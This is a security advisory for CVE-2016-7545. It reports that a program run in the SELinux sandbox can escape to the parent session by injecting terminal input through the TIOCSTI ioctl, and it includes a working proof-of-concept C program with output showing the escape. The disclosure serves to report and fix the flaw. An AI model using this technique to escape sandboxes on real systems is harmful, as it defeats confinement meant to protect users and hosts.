CVE-2016-7545

First published: Thu Sep 22 2016(Updated: )

Hi, When executing a program via the SELinux sandbox, the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing an attacker to escape the sandbox. $ cat test.c #include &lt;unistd.h&gt; #include &lt;sys/ioctl.h&gt; int main() { char *cmd = "id\n"; while(*cmd) ioctl(0, TIOCSTI, cmd++); execlp("/bin/id", "id", NULL); } $ gcc test.c -o test $ /bin/sandbox ./test id uid=1000 gid=1000 groups=1000 context=unconfined_u:unconfined_r:sandbox_t:s0:c47,c176 [saken@ghetto ~]$ id &lt;------ did not type this uid=1000(saken) gid=1000(saken) groups=1000(saken) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 This is similar to <a href="https://access.redhat.com/security/cve/CVE-2016-2568">CVE-2016-2568</a>, <a href="https://access.redhat.com/security/cve/CVE-2016-2779">CVE-2016-2779</a>, etc. Thanks, Federico Bento.
